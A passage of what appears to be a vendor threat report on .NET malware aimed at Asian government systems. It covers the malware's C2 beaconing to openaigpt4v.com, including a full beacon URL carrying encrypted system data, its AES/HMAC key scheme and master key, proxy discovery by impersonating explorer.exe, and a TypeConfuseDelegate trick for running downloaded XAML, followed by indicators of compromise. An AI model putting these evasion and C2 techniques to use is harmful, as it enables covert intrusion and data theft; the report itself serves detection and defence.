- Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
- Obtain the system proxy using three methods (see the Discovering proxies section below).
- Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
- Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
- Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64. // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
- Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
- Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
- If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.
All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.
For a given master key and a single-byte seed, the derivation works as follows:
- Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
- Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
- Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
- Take the first 16 bytes of the resulting hash; this becomes the final derived key.
Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.
Seed Key type generated (client side) Key type generated (server side) 0 Decryption key Encryption key 1 Decryption authentication key Encryption authentication key 2 Encryption key Decryption key 3 Encryption authentication key Decryption authentication keyThe code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.
Discovering proxies
.NET 2 Plugin detects the system proxy using three methods:
- Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
- If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
- If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.
These methods ensure that the malware can reach external networks even in complex network environments with proxies.
Execute downloaded XAML payload in an isolated AppDomain
This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.
In more detail, the process is as follows:
- Create a new isolated AppDomain with a randomly generated GUID as its name.
- Copy all configuration data from the current AppDomain into the new one.
- Set the proxy information in the new AppDomain and assign it to the variable px.
- Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
- Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
- Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
- Unload the isolated AppDomain to complete the cleanup.
This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.
InfrastructureThe attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.
Domain IP First seen Domain Registrar/ASN openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169 VictimsBased on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.
AttributionAfter analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.
ConclusionsTechnological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.
Indicators of Compromise File hashesF2458ED133F8D0CA19E22C10F577E98E e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4 Resources.resx
AB81564BCB8CA7E710C66832DE747556 .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1 .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5 fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3 PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632 XAML-1
9000820D8153C24CD60D53001D3A97B6 XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6 XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5 XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD XAML-3
C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx
China-Linked Hackers Exploited VMware ESX Zero-Day to Reduce Audit Trail Visibility
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- …
- následující ›
- poslední »



